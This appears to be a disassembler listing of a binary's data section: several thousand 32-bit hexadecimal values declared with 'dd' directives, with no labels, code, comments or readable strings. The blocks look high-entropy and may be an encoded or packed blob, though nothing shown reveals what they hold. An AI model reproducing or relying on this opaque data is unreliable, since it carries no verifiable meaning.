		dd 0D32F3103h, 0EC28705Ah, 5D7297C3h, 90428520h, 0F169747h
		dd 0E9869097h, 73B16442h, 0A196BFC5h, 0ADDA970Ch, 0D8EC9183h
		dd 5E5E10D5h, 979FEBB3h, 0E145FA68h, 0BE87885Bh, 5E586C55h
		dd 2739BB8Eh, 5BF601B6h, 44AF5D9Dh, 0C80F82F8h,	2E7137B1h
		dd 10573C23h, 0B3B800ABh, 531ABF22h, 4B905BBh, 41290CCBh
		dd 0C0E9C682h, 0B8752FB2h, 2F0E1001h, 8F7D4BC5h, 0D7320841h
		dd 0A9F33E12h, 0EE929EC5h, 774EC0F8h, 0BF57E00Ch, 0E4286839h
		dd 6B408A3Bh, 5AD13429h, 51E0BB1Ch, 4DF95801h, 0FAEC9F2Dh
		dd 0C613022Fh, 7DC025EDh, 5A449D51h, 271E9CAEh,	4CC9080Ah
		dd 17BCA652h, 40BB3771h, 6BCAF2FAh, 8BD67058h, 5B9C0A01h
		dd 969F1F42h, 17494F94h, 0BFBACF87h, 0DF092249h, 87F22277h
		dd 48C5F541h, 0B675749h, 954FC82Dh, 9277A4A2h, 0B2B3C14Dh
		dd 2B50092Ah, 681293F9h, 0B685295h, 356D4E73h, 0B14C1C10h
		dd 67AE4E10h, 0C99346D4h, 0ABA3B4C8h, 0B5F25F28h, 0DB415ECAh
		dd 0C9222F66h, 20E764D2h, 2C2D40EFh, 4BBA7053h,	0EBD290C9h
		dd 0F53B702Bh, 1EF30059h, 53150D6Bh, 9B017368h,	57050286h
		dd 0AF74084Eh, 0BB37725h, 75E9100Ch, 4ED5962h, 2A1DDCECh
		dd 2C6AB089h, 80286941h, 0BBEC941h, 5EF68B93h, 0E692FB99h
		dd 3073A3BAh, 0ACBD550Ch, 61F90039h, 276AE581h,	0F5EC53B5h
		dd 2641106h, 2784D3Ah, 6C4373D8h, 0CFE0D5F7h, 0FB65349h
		dd 0D6EF4169h, 59CFBE32h, 6735E0D2h, 0CEC981E3h, 40F16B3Eh
		dd 0E77E6D8h, 0C1476972h, 0DEF704C3h, 2020A3Fh,	8E19C6EEh
		dd 204AF8BCh, 524AC773h, 89949971h, 9F775369h, 4B9F6466h
		dd 0C880DA73h, 4E40689Eh, 8BA43265h, 0D62DDF5Eh, 445D5A2Ch
		dd 3FF620BFh, 7A38297h,	0DBBB0059h, 4E5AA22Ch, 30D12CE0h
		dd 3DC681EFh, 0E92568A9h, 82F308F9h, 9DC78713h,	75BB0C45h
		dd 0E120FB7Dh, 2236857h, 0E94C3E18h, 7FDA9DEAh,	0C2FD22F8h
		dd 0AC31FB5Dh, 4B2B0220h, 0FC04E7Ch, 3408AE9h, 0A1D6955Dh
		dd 0E3856C5Ch, 770BFAC0h, 0A896F43h, 0AD08BC6Eh, 48CF20F6h
		dd 0A405EC05h, 0A2FE97BBh, 8E912C1h, 48B89852h,	2FBE5601h
		dd 6A73521Eh, 0A51CB1D1h, 0DE921E06h, 6C6B4F09h, 50F44C42h
		dd 955E0CEFh, 0E90530F9h, 8EAE7DCCh, 484D50A0h,	0B82E5C41h
		dd 230BDFBCh, 0B10190ACh, 0E87397E2h, 16242C44h, 4F38BB93h
		dd 5F7FC9FDh, 37B0CE57h, 0FAE1D9A2h, 48005BBDh,	2D33358h
		dd 0C9B6B0E9h, 7700462Ch, 250D4964h, 0D892C3F8h, 46A8664Bh
		dd 7F681F74h, 526E570Fh, 9F77EBD3h, 0FDE778D2h,	89B68499h
		dd 55EA0830h, 32C9671Bh, 1DF23ADBh, 567C4206h, 0BA024CEBh
		dd 2908241Dh, 0A59E2F2h, 0C085D08h, 0C2303F5Dh,	0F57ABC1Ch
		dd 94286B5Ah, 1F049901h, 377F5AE9h, 0D78C53D0h,	1984BC88h
		dd 0E93DE206h, 0A4DB3E46h, 8185FC26h, 0A475FEF6h, 849157ADh
		dd 0E36E1E54h, 7DC7807Ah, 0C215CD47h, 8501F30Ch, 4313F750h
		dd 0C3021876h, 0DE09E9DFh, 0A5BA16C2h, 47ED2E23h, 9A020B6Bh
		dd 0A2ECEAC7h, 0A3A1E85Bh, 1D33132h, 4D496C53h,	26EBE55Ah
		dd 0F44B2525h, 32DC82D8h, 8D416721h, 70FAF5B5h,	0FD4572BDh
		dd 0ED76007Ah, 50CF4BE8h, 0C59F297Dh, 41E685E3h, 0D6F1042Fh
		dd 5B0500EBh, 0B5278B7Eh, 0DBB776FAh, 1753A852h, 0EC092E48h
		dd 28074155h, 3D83C5EAh, 0ABD2CDECh, 2708E035h,	0F4003A56h
		dd 0C0D4F65Ah, 0F09D06ECh, 9C87059h, 0AFBAE9DCh, 6476B610h
		dd 0FD585F8Ah, 34724009h, 9CC40511h, 0D52F1404h, 7F805E09h
		dd 774D74A4h, 0DF45F890h, 3913022Ah, 9848080Ah,	5F2C5242h
		dd 5022313h, 0C00B9129h, 257E752Fh, 0A64220CDh,	9EB75540h
		dd 0D8942F2Dh, 0A6FCF352h, 42B52873h, 7FA23EB6h, 8055C312h
		dd 497BE91Fh, 55058E0h,	29985D06h, 0B7218182h, 0D8685051h
		dd 2004861Ah, 0D8F74058h, 7AC85E0h, 894F1917h, 38BFD0C1h
		dd 254EC23Dh, 680284BDh, 1AD06F03h, 54004454h, 0E999016Dh
		dd 5EFE5BFCh, 0E72D0760h, 45F8B210h, 938E8D5Ch,	0F774E23Fh
		dd 0C68381D6h, 5DC847DEh, 5EF20521h, 0E06CE942h, 117C6881h
		dd 2E62079Ch, 0FAF4094Fh, 0ACD05F82h, 0CCEB1114h, 152D9A36h
		dd 0C975E66h, 0B8329588h, 637D3Eh, 36C3813Fh, 0DA491E42h
		dd 8053638h, 0F0F10258h
		dd 0E1C09F68h, 25272AE3h, 28456DFh, 28567EBCh, 11E5F06h
		dd 2B7D6D31h, 988454E9h, 68DA5C68h, 8C4B4BFAh, 59975892h
		dd 0E3E94199h, 0BE36818Eh, 0C027F86h, 80B7CD60h, 0DF27685Eh
		dd 202A463Ah, 0D90B4E7h, 79259799h, 17E98440h, 0F2CABA46h
		dd 83186158h, 0ABE074C0h, 5D93DB96h, 53C7C271h,	68C68001h
		dd 0FE061D7Bh, 2EE00BCh, 93E9F128h, 9C8AB6B2h, 0E6EB175Ah
		dd 2DE90C25h, 9C2A742h,	65696D19h, 5C6B23DFh, 0C61D2FB3h
		dd 93BDDB5Ch, 0B44BA8C5h, 2268F8CFh, 2EFCB6C1h,	129C5317h
		dd 331EC02h, 0EFF98051h, 9488CBE9h, 6CCD8188h, 0F1474A10h
		dd 250D78D2h, 44DA1E59h, 3B4E6B89h, 0B22A1489h,	0F4AFA48Ch
		dd 0B849E952h, 77244854h, 5359h, 93BA524Dh, 6946CA12h
		dd 0DB54F801h, 797CED81h, 2D30FC67h, 6C628247h,	0A51E5B57h
		dd 0E958547Eh, 0B5DF921Fh, 5B903CF8h, 878B70Fh,	5EA5C4F9h
		dd 44B3580Bh, 10DD60E2h, 9545DD87h, 0EBE501F4h,	895CD849h
		dd 896A9A20h, 0A5C25722h, 0D50E980h, 6BE30178h,	36742516h
		dd 59A391D0h, 10B163Ah,	6C34AF74h, 41080C10h, 0ABFBAC26h
		dd 6EB7E413h, 84F45035h, 741BA9BAh, 0DF0103C9h,	0A2562382h
		dd 4D8A7709h, 6CD6A59Bh, 6370C281h, 0F2D837A0h,	8A09039Ch
		dd 1EA837Fh, 22A4255Eh,	0E06D5A7Dh, 350E05EBh, 8117F855h
		dd 20F23C60h, 1A6F71E4h, 7629E2C0h, 0C68B9D5Ch,	93F27902h
		dd 7F4DEA66h, 802B8D41h, 6C5D405Fh, 0CB012613h,	2C083610h
		dd 8E109C59h, 6225044Fh, 5A5A09BDh, 979FB0FFh, 0B60823F9h
		dd 0A3680558h, 0C4C2E850h, 9B31A47h, 0C4BAAD5Bh, 1F16E663h
		dd 0C015D28Dh, 117D0D44h, 2D35C60Eh, 14A047D7h,	44D5A3F2h
		dd 72B09D1h, 4F6FCDEh, 0F2B2FD25h, 62422F61h, 0D22C0496h
		dd 0B0A9F028h, 128C5284h, 32168FFEh, 0F6BBC75Ch, 0CCBA404Eh
		dd 614BFD35h, 142348F0h, 0DCA89503h, 47E0022Dh,	4BB8DA87h
		dd 8F908D3h, 54C4017Fh,	58E9746Fh, 0F5016E4h, 19A242E7h
		dd 0EFBB0284h, 43FD3344h, 0BD66FF8Ch, 0F8512B41h, 0B392F388h
		dd 0F5CD63B7h, 0E52222C8h, 0A6E33597h, 0C7F05AFBh, 19965D35h
		dd 4609AA95h, 6609301Bh, 0BD47E12Eh, 1705F273h,	15BC6C60h
		dd 780ABE26h, 44B93100h, 5BBBE9E2h, 0E5F8B5F1h,	1BBA00AEh
		dd 0C4F262Dh, 78720E7Bh, 5E747929h, 2638CF85h, 0DF6EDBFDh
		dd 0C0AA0114h, 7AA59BBh, 806610Fh, 0E0A9A7D9h, 788060DDh
		dd 2518C42Eh, 0ED7D04C7h, 4473804h, 280F66B2h, 0DE9D18B0h
		dd 0CF8EE608h, 8387C20h, 8B804A76h, 91B9806Eh, 1EE928C4h
		dd 10909706h, 8D0FD31h,	188C4024h, 0D085027h, 40530540h
		dd 21C6471Bh, 3330F3CBh, 3208E9C7h, 0D318C8F7h,	0C6E46B10h
		dd 183D9008h, 20DA5820h, 1E318186h, 0FD9608DDh,	18E8C01h
		dd 0BD01C2B2h, 0CF388C46h, 8092917Fh, 1A817E55h, 98A09451h
		dd 8C64C401h, 18558908h, 88CF7C6h, 0ED188215h, 630EC540h
		dd 0ACD107Ah, 9810082Ah, 31046520h, 472886D2h, 0D4BA012Dh
		dd 0C6D6108Ch, 3663B308h, 152B4918h, 849C8008h,	13317620h
		dd 910408F9h, 0B2962088h, 109A6E0Ch, 0C9B7406Dh, 69A72A40h
		dd 398C0858h, 5B63A308h, 2ADFE520h, 65CCCF08h, 4487E1DBh
		dd 0CCD7198h, 92AD1108h, 0CFE5200Ch, 20585320h,	0FA206AB7h
		dd 3ECC2096h, 18DFDB7Fh, 0C2313050h, 14F8B09h, 0B9018918h
		dd 0A2288895h, 8732080Bh, 18EFDC0Ch, 89B637Fh, 181876CDh
		dd 6B084BA8h, 0C418C44Eh, 0F1860C8Bh, 17384012h, 0A6206963h
		dd 0D5084CF8h, 7EF90862h, 3B3BE02h, 30105FC5h, 2519F0A1h
		dd 88E21077h, 87DE931h,	500C616Dh, 922D08B0h, 3CAB3114h
		dd 102AD08h, 0C6045180h, 60310806h, 4F5C30A0h, 417C0899h
		dd 0C6188F1h, 0CB36384Ch, 1206909h, 0C96E32B5h,	0B4A22208h
		dd 0F70643AFh, 67393111h, 8A09A808h, 80637118h,	132AE390h
		dd 0BC765498h, 0C459C670h, 3B201056h, 0F54C3168h, 8A4D2F08h
		dd 0F8841618h, 31157290h, 0B162D05Dh, 3303FBD3h, 0E818245Bh
		dd 98128858h, 8550208h,	0D08576Fh, 0E9060814h, 81C1508h
		dd 580CAD43h, 80B93182h, 0FB802637h, 0FCF9D578h, 6FE19531h
		dd 622D01EEh, 8CF21301h, 893D410h, 184263CCh, 8194C8Ch
		dd 90416DEBh, 54484902h, 8CA94C5h, 6082E044h, 64E8FC9Ch
		dd 182CB0A4h, 3E49E4EFh, 0C8F1C78Bh, 10C046FCh,	752C473Bh
		dd 13EB1802h, 0A7B90E89h, 5803DDEh, 408F4401h, 0C90B0549h
		dd 0C78BF775h, 0DE811ED7h, 62B9F003h, 0C0331EF4h, 4FB10F03h
		dd 0AC2C1630h, 0AE631252h, 0A2EBA5D4h, 5C59C906h, 86B1D3A5h
		dd 89648903h, 0C2ABECC7h, 5178398Eh, 6C1AFDC0h,	0E9268E04h
		dd 9DBE96D9h, 1835BF93h, 534E0F7Eh, 3C2C0768h, 0C25B029Ch
		dd 1855FBAFh, 7D38ABB8h, 1F295A91h, 0C4414C8h, 31001490h
		dd 0E946217Bh, 5AD208F2h, 0AE5BD4FEh, 32C63BA7h, 71B5DC13h
		dd 0CF84591Ch, 5C5C102Fh, 82E95890h, 2CBB704Ah,	422F6814h
		dd 36C5C656h, 2C792BFAh, 0EEB87E95h, 16B34A70h,	690FE9C3h
		dd 27B80A02h, 0F51B332Eh, 0AF1815E0h, 48EFC1C0h, 0B8056376h
		dd 68AD09AAh, 958EAD5h,	0F3D8E897h, 0E6311FAFh,	0B2D9131Fh
		dd 0D6E9CB29h, 52F2D3C4h, 0F1819FA3h, 34862890h, 0FD4558BDh
		dd 0C59D3FFCh, 0A33D9BFFh, 2CB505A1h, 80EB4F98h, 448D75B4h
		dd 0C1BF297h, 0D73EEAC3h, 6E01F356h, 578632E0h,	172EDF89h
		dd 0FF8C099h, 714BB54Eh, 0A1ED89F0h, 0F5E9E908h, 9314413Fh
		dd 7B325228h, 0F9E2C3C7h, 0A96CDDADh, 0C42CFD35h, 0AAD461AFh
		dd 0E1C97E08h, 0D2F15AE0h, 97B1AD10h, 47843CACh, 0B95100FEh
		dd 4A118C82h, 0F53345D9h, 4424EA0Dh, 2ACD5FADh,	81493B3Bh
		dd 7C82F80Dh, 295F6F29h, 4ED25E6Eh, 10EC32A9h, 590BBF35h
		dd 76010B61h, 0DBDC2F1Fh, 0ADE83C65h, 4904F703h, 0B8D40616h
		dd 335A1A1Eh, 3DB357F2h, 0AD3B69E1h, 0BAD97C18h, 1F8EBF03h
		dd 0D2FB5A63h, 829364Ah, 3F068ADh, 0CB274C0Bh, 12AD55Dh
		dd 0DA32364Dh, 9DCED95h, 0F2741E9h, 0B396354h, 1E880C4Fh
		dd 0E8784B86h, 1268E1C6h, 9F4F37Bh, 0D4D01CE9h,	6FDF859Fh
		dd 2C70AB6Dh, 0A6E113E9h, 66571CC7h, 0F8688750h, 0E84B6D09h
		dd 0F9F5A0BDh, 0FE912A31h, 9241DF2h, 0C1C7F6F8h, 1E685708h
		dd 768C3A1Ah, 0B62EFFA5h, 5FBA4BBCh, 1CBDD399h,	71B624EAh
		dd 175008C3h, 0DA5726E9h, 0E971AA0h, 2BEA821Fh,	43605FC9h
		dd 1A2F56A4h, 0E3C6F471h, 21895C58h, 0DAC48D1h,	833E5941h
		dd 0AA8C3AC1h, 63F7B747h, 90AF6705h, 465BC33Bh,	0C35D7A2Fh
		dd 4804BA31h, 4F65A20h,	80CF86D1h, 0ACE9C1C7h, 9FB4512Ah
		dd 0B6FC2A2Bh, 0D30D46C4h, 0B806FAD0h, 6DD654AEh, 5BA60B0Ch
		dd 2407741Eh, 4617A2E4h, 0EB7A00FFh, 502D111Fh,	0BF3105B9h
		dd 89D17AC0h, 252F67E7h, 887B608Ch, 83E1B7EAh, 0BF108155h
		dd 2FD87985h, 2FABC060h, 0D500B618h, 42576B48h,	22F8E909h
		dd 0C1351301h, 0BA013236h, 113922FEh, 142C1826h, 6E37ED6Dh
		dd 2D408CA4h, 0C474011Bh, 5C935D69h, 22330F9h, 0CDDA8053h
		dd 4B315C2Fh, 88FB80F7h, 5E26188Dh, 4B1E2089h, 3BD66B4Ah
		dd 2A0BD2A0h, 0D63BF96Ch, 0B6E906E7h, 4D7622D2h, 0C36A135h
		dd 0C958CDEAh, 486C41DCh, 7F810428h, 0CA5DF9Bh,	0F48C95C5h
		dd 0E65EC40Ah, 0AC5861C7h, 2E927AFCh, 4AD5D01h,	0B9811A28h
		dd 105DA7C9h, 4DEF200Ch
		dd 416A2217h, 681C3FFCh, 6F39266Eh, 92354324h, 0DC41F306h
		dd 0C380003Ch, 0F06CE64h, 0EB3ABC1Dh, 6CB25280h, 0E951E2D0h
		dd 0E1993772h, 0E6B05087h, 10C07B1h, 0C23E777Ah, 94C85295h
		dd 94726B71h, 5800C5FAh, 0AD455A2Dh, 51E80121h,	0AD300705h
		dd 89ADC8F6h, 61FB598Bh, 0C2C084FDh, 8DB6D409h,	3BC10B73h
		dd 65007C55h, 21A5716Ah, 8702EEF8h, 1319F66h, 8C44C0DEh
		dd 62820518h, 0AD8065E9h, 2A6E0532h, 0C5040EAFh, 0BC1714BDh
		dd 792010D7h, 5544257Ch, 0C4A569EDh, 10AB31D8h,	89BD6335h
		dd 0D1FAFB0Bh, 0FDA742D7h, 0A0E85157h, 69BA69C9h, 8B2B81A2h
		dd 4498510Bh, 970EA51h,	0AE5896E9h, 65A425F1h, 0C1E22DDCh
		dd 64805DEAh, 70D131CDh, 59BD7790h, 0CA5D492Bh,	7EF35CA5h
		dd 5AC45C4Fh, 0F5FF45BBh, 17CBE332h, 0D237263Dh, 0B0D6182h
		dd 0D82D8BDFh, 878602BAh, 0F0298DA3h, 1D0B5F0Bh, 14CC55DCh
		dd 9B70DBEh, 442A7942h,	0E8E152EBh, 23F05EC4h, 51D40BCBh
		dd 4676E2B5h, 0D23F780Fh, 0B21467FFh, 0A4E81645h, 0BA12EEC5h
		dd 750CCE4Ch, 0E2EDF3A7h, 6CBC3006h, 0DE58430Ch, 0FD2DF602h
		dd 61358B72h, 74005E2h,	2568405Dh, 39121D4Ah, 49761A40h
		dd 11774C26h, 61FE3912h, 6183BC4h, 77026EA2h, 0BBAD4BC1h
		dd 0B9943041h, 98797D24h, 20635625h, 38E91608h,	53A93130h
		dd 0C46F625Fh, 0D2BAEF31h, 0B0E14598h, 5E510143h, 0D7C54A7Dh
		dd 1D871215h, 53BCD7F4h, 0C727BF76h, 68E812A5h,	3160AB4Ah
		dd 1BB27E05h, 0B09BF4Dh, 2E0AA00h, 0DF29243Eh, 0FA8E25E9h
		dd 5DA8D31Ch, 5A256852h, 8BA4D157h, 16FD2B90h, 8044BFC5h
		dd 0BD555A02h, 5D483BF7h, 0EF0B2A5Bh, 0E1A0D587h, 8AB7C40Dh
		dd 4D0152B5h, 5A245032h, 0B9D6D2F0h, 0F91542h, 46B0BA52h
		dd 0A9270F24h, 0E226AC28h, 96052908h, 9BEC6D2Fh, 0F7C8EC00h
		dd 0E9D329F3h, 59DFE838h, 1BCD649h, 10BBDB19h, 76B88096h
		dd 811C1345h, 6EB01EE7h, 5FDE693h, 81A46203h, 98EEE26Eh
		dd 0AE8CF741h, 0A0955A3Bh, 1492F6Ah, 0E4CC2681h, 38250A17h
		dd 0B268C289h, 6F706200h, 82685D03h, 123E6B49h,	2DFE420Bh
		dd 0C259F59Dh, 3C7AB3ECh, 9166C49Dh, 59B0843h, 62685902h
		dd 9ACE6Eh, 0BEE76E0h, 676D0FBAh, 59016F5Eh, 9C8709D6h
		dd 5884470h, 0E94EBD33h, 0AD57D541h, 0F0680B0Ah, 25E5C663h
		dd 96F34FF6h, 3B2D3943h, 75185340h, 0E3C01694h,	0B4500807h
		dd 26B286Eh, 0E174B5AAh, 0B32EA4C7h, 2B68821Dh,	7118FF6Ah
		dd 64F654ECh, 0D9DFD7A1h, 0D5017E61h, 663828E9h, 704C85D0h
		dd 76908C01h, 0A116026Ah, 3B65541Dh, 8DCCD9CEh,	7EF7D250h
		dd 9F167AAEh, 62985A78h, 0FC789E05h, 20C12D24h,	282F2EB7h
		dd 3E0BBB4Dh, 29DB31h, 59A14A89h, 0D8012D07h, 965C559h
		dd 0D9DA89AFh, 7817A7B1h, 49E1F692h, 0DC620280h, 5957057Bh
		dd 0B0796B13h, 858B5963h, 410B8128h, 0D4077E0Ch, 76A27EB5h
		dd 65775E69h, 67170B01h, 0FB5D0E24h, 31683FCCh,	0E6231DB5h
		dd 0E30BD31h, 0EBDC1F88h, 0E42ED55Bh, 40C3ECB9h, 99B95A0Dh
		dd 2B505616h, 76248CE6h, 0EAE74424h, 1EADC165h,	5C53985Fh
		dd 509D5496h, 513B844h,	0E717C1FFh, 1751FB2Eh, 0C329FC0Dh
		dd 5FBC8BBFh, 39758C87h, 513203A0h, 50BD25AAh, 0E1609506h
		dd 1C920E50h, 6A8E105h,	0FD054DEEh, 49C04A3Fh, 264C3B35h
		dd 811E31E4h, 0C2E9CD01h, 92906EDBh, 76FA88F5h,	0FCEA775Bh
		dd 52466B3Eh, 5A208075h, 0B55C5618h, 44C3F461h,	2B33A108h
		dd 0AAB18DECh, 0B8428123h, 6CEE5C4Fh, 8F10F3Ah,	0EF82D1C5h
		dd 2D7E6B8Eh, 0A156CCF9h, 8533516Bh, 4097E957h,	318BAABh
		dd 2927DD8Bh, 58EB56D5h, 19D2EA89h, 2B52D90Bh, 0F21CFD48h
		dd 83A1AEA0h, 0D04A3E91h, 0DB2A4F00h, 78D7F775h, 0E809783h
		dd 0A8C494D9h, 0B0A2314Ah, 7E9AA1D6h, 4F1B3C15h, 0E658E369h
		dd 0C6E92D52h, 8BE0880Bh, 283E4BB2h, 1AF61FC2h,	183F5125h
		dd 6C686D1Ch, 0B986D197h, 0A471F5A5h, 0E45D5A42h, 1F58B58Ah
		dd 6DFB014Ah, 0E91D8519h, 21EFF5B5h, 7B2F74F0h,	0E9C204A2h
		dd 92E63A4Ah, 2061E59Fh, 931520B2h, 0D0885013h,	531DA8F8h
		dd 4FCEDE52h, 0DA8B5AF3h, 0A9B004h, 6DFF181h, 24037BAAh
		dd 0A6ED3B4Fh, 211036Dh, 24001946h, 37971479h, 93B66EE9h
		dd 0FB963CBAh, 4C22CA10h, 694C172Dh, 364206EEh,	53F246Ch
		dd 6DE3025Eh, 8F2DF029h, 0D6187707h, 2D25C134h,	56D42C0Ch
		dd 76D11104h, 0A37506FFh, 0AD4C444Ah, 2570E0B0h, 0AB509782h
		dd 6F430E2Eh, 0B795E905h, 79EFE25Dh, 0CEE9413Bh, 5EF51173h
		dd 41D90F20h, 5AA43E19h, 347D555Fh, 0A8353FE0h,	0E6CEF29Dh
		dd 30BB7B50h, 0E1171B7Fh, 673F0D96h, 80387C32h,	0E410A404h
		dd 1B2DEE03h, 0A10C000Ah, 1481969h, 0B4C156CBh,	2C3B1523h
		dd 0D10FF53Ah, 82E47AE0h, 722E01B2h, 0EEDB2D63h, 0E18D6074h
		dd 72BAA54Ah, 88D23FADh, 0E0F3745Bh, 62CEEA92h,	68C26952h
		dd 2FE65ADCh, 76B5A6C7h, 0C6901607h, 0B9B301E9h, 0C178A526h
		dd 534A3124h, 5FFED8Fh,	8D407CA2h, 540F3E2h, 9C7DF60Eh
		dd 71CE8E6Dh, 3032C660h, 5A4E66F0h, 7A2652FCh, 9D688154h
		dd 253A8439h, 4B797FE4h, 373FD13Fh, 5B109CFCh, 4466CB09h
		dd 3B02456Bh, 0CCF72192h, 1F3CB03Bh, 2568E9C0h,	4E7299DEh
		dd 4AB549C3h, 110EBF02h, 585F15D4h, 0C18A341Ah,	4861EE1Ah
		dd 0CA4BD830h, 4E34A24Ah, 0AB5E04FEh, 419E9F3h,	5B2B4678h
		dd 77C6E7C2h, 48F66D62h, 27BA4517h, 639482F0h, 825BB04h
		dd 0CF256E4Ch, 8278245Eh, 123B2068h, 1253FA5Fh,	0BA06F1E9h
		dd 408A2088h, 7B00B2B6h, 0FE5BDA28h, 0B7E868CAh, 0B48FF0F1h
		dd 80CC8010h, 0C305CECh, 2864E9E2h, 5197EA23h, 0AA014569h
		dd 0EC8BEA63h, 0C040A3BBh, 753E6C2Dh, 685D0C70h, 26EF0FBDh
		dd 0BD593C40h, 845AF651h, 890C35F6h, 0BA4073A2h, 53D83F28h
		dd 1054A499h, 64A4E5Ch,	398FE950h, 4D7EA044h, 0EB28802Fh
		dd 30A2D6B8h, 1EAB8455h, 26B45000h, 0E95CC4FEh,	0CB5F6E89h
		dd 66ABC178h, 21839A3Fh, 63E984EBh, 0F75F02C6h,	4486E0DFh
		dd 69D61646h, 119F004Fh, 0E9E7B871h, 93AEAD27h,	9120C138h
		dd 53421080h, 0F208A8BBh, 0E4282564h, 0A71DB361h, 0B1CA71CCh
		dd 57B077E4h, 0E08865B2h, 1AC65DFFh, 9DD37E4Bh,	7A42CAF3h
		dd 0AFFC291Bh, 0D2693789h, 6F610999h, 64847FE1h, 9630EB85h
		dd 2E6D46B0h, 4FE0906h,	0A2FEA0E9h, 93E957Bh, 84DCF675h
		dd 889D8232h, 476CA689h, 0AFBD47EBh, 0ABC5D40Bh, 0BEE754F0h
		dd 61188118h, 762D62F5h, 2783F048h, 94440106h, 62D4E84Eh
		dd 1EC9C1ABh, 6CA67E8Ch, 0C041747Ah, 462ABB34h,	0F9B8B75Eh
		dd 0EF2FE577h, 771D0235h, 61D27C59h, 2E6D6A68h,	842256D3h
		dd 0C1BDE2BAh, 2758E945h, 2EDE6A2Dh, 7497A49Ah,	1D427331h
		dd 1B303AC7h, 28D8BD1Ch, 0A3D8015Ah, 0E6E2968h,	69ACA6B7h
		dd 8C37403h, 824586A1h,	5A7A850Ch, 0A051D430h, 140CD008h
		dd 41B0E912h, 5C99BD9Ah, 0C5208111h, 17D22202h,	4390C27Fh
		dd 97ECF97Ah, 2B2F4700h, 5368D101h, 1D47A416h, 80600FE5h
		dd 48723558h, 36C02F4Fh, 59451F7Eh, 0A5C15C01h,	0BD369C30h
		dd 5F7E55B3h, 0F072D9E7h, 0C3B7534Dh, 1A064840h, 0C0140B41h
		dd 0B1445D8Bh, 0B93D74E9h, 9EB86230h, 1DA8040Bh, 5526CB82h
		dd 2C30F148h, 0B3FC9D4Bh
		dd 0BD207805h, 0F391AF49h, 9BDD4C95h, 5BC4BC81h, 942928DEh
		dd 7B08C138h, 0A048EE95h, 0B68FF670h, 0F085C2D4h, 0A6ED8100h
		dd 0E66F2FE8h, 537F78E1h, 3BB8D1FCh, 84160FC2h,	20EBF2CCh
		dd 2C6AE976h, 5E70BB81h, 812601BAh, 5257EBE3h, 82EC2F2Ah
		dd 66F9590Bh, 6573905Fh, 6CB30126h, 5EE9DF21h, 0ABF24536h
		dd 88E07931h, 2BB95880h, 0BA132A1Eh, 0D40B6B6Bh, 0EA810BDFh
		dd 21E97AE8h, 0D36E7249h, 689261FAh, 10455Eh, 522DF05Ch
		dd 325B9873h, 0AAC05664h, 50123022h, 964B663h, 296D660Ch
		dd 12085428h, 525D0958h, 0D2099453h, 0F63D94E2h, 0BCA85D89h
		dd 0F47C499Eh, 72F74D27h, 466E0A5Ah, 7C7014Ah, 43123ED4h
		dd 73B65289h, 0A7148ED9h, 0C3B47616h, 3C3F090Dh, 2CDE3C5Ah
		dd 75A72233h, 0FF183302h, 0FC2EFE22h, 0C0D365BDh, 11D46AAh
		dd 0D6381081h, 0BB794A75h, 427E5729h, 10C4008h,	1CF282C6h
		dd 2318E6Bh, 7977103Ah,	0D2EF4528h, 0C6A0899Fh,	0B6858C7h
		dd 0D930574Ah, 58672BDFh, 0FD5A6E23h, 1B0B7570h, 0FCDC98D4h
		dd 17442528h, 685C0097h, 5AC93EAEh, 0F5DD9813h,	0BC05C270h
		dd 0FBCBE963h, 0F6FB8CABh, 708B7BF9h, 8922752Ch, 6A00EB87h
		dd 1AFB2EAEh, 0D7A8E5FAh, 6C73F280h, 28D2EA0Fh,	989ABFD4h
		dd 2962551Ah, 7A2E9840h, 55A32519h, 996C301Ch, 0E6711F9Eh
		dd 0D9C18ACEh, 0EA8996CEh, 0EC682504h, 0B62C0Ah, 0C0C60CEBh
		dd 0B0EE03E8h, 4825E919h, 0B66A5420h, 6DBA4B51h, 12F439DDh
		dd 4FF79EE4h, 0D7304D7Bh, 6E8F661Dh, 0B2EE173Ch, 575D02E4h
		dd 0D1774768h, 86B89519h, 2E8CBE00h, 492D6026h,	23975B12h
		dd 705B30Ah, 46D85E19h,	4017122Bh, 0FC4BC173h, 0D095BA6Bh
		dd 6DBC8184h, 0EA1CA73Dh, 0C3D80C44h, 943263CDh, 26EFC4Eh
		dd 945FF131h, 4A296BF4h, 0B85EB0F5h, 0D4530476h, 0AEC20171h
		dd 5927CE3h, 0F81EFB90h, 0F70C9E33h, 26D9578Fh,	0C9A85B51h
		dd 0CC82650Eh, 0C05FA12Bh, 9494E979h, 34D72513h, 33B0959Dh
		dd 0F02D4C34h, 60DC623Eh, 28B3D1C0h, 8E7C10Fh, 5C172692h
		dd 0C70CE51Dh, 4701836h, 0E950151Eh, 1DFCE18Bh,	0F2CF2068h
		dd 120BB980h, 0EC20BE24h, 823C0126h, 0AFA9E947h, 3261F425h
		dd 484CA963h, 0D631BC07h, 0C7CA9658h, 415FE925h, 4E305D8Ch
		dd 7F19414Fh, 0DA1C8624h, 5A950A04h, 40ACE2BEh,	0C3400DADh
		dd 26F07721h, 8379C7A5h, 2586319Dh, 11E18D0h, 163C4B91h
		dd 22AEDB92h, 9F6652E1h, 0F73DC920h, 6A389AD9h,	19FE5D25h
		dd 0CEA7A1CEh, 7E6CAE80h, 5467E9A0h, 2E5E46E1h,	0AEE22309h
		dd 104B00EAh, 162B301Fh, 0E343BCE9h, 0B9BA183Ch, 0BECC9B9h
		dd 0D931039Ch, 5340EB32h, 884E059Bh, 4B5DEC00h,	0B7294331h
		dd 34088F08h, 7D14141Ch, 1DEDBF09h, 0EFA7730Fh,	6E7E01DEh
		dd 26B66168h, 60281E8Ch, 0CB815BC4h, 9C3F03C3h,	41C050C0h
		dd 2A0FB012h, 589CC21Bh, 0E24B86FEh, 41229248h,	0CA50BCh
		dd 0CEFEC3B6h, 0C680EED0h, 0B9C02A24h, 0F1D76828h, 74B4080h
		dd 0F6D6159h, 0F2D30A68h, 20525175h, 53D7FC0Ah,	304C9D7Fh
		dd 3418EA13h, 83BD3Bh, 52565F54h, 5B469FBAh, 0EAC12h, 0DDF28103h
		dd 0CF6A264Eh, 0ABE7050Ch, 8DE1CF7Bh, 2FC96DDEh, 5BC3BAF0h
		dd 525A3360h, 1154ACD2h, 0FAE87C2Fh, 94D49568h,	2A0223D6h
		dd 5764B907h, 2402F540h, 4A581B48h, 11B88185h, 1F001BD4h
		dd 214A2A5Eh, 0C1185FFDh, 20608EDh, 2DFB9757h, 2A338100h
		dd 9A22E901h, 505201BFh, 0CB658368h, 6D837A5Ah,	0BA1B0FB8h
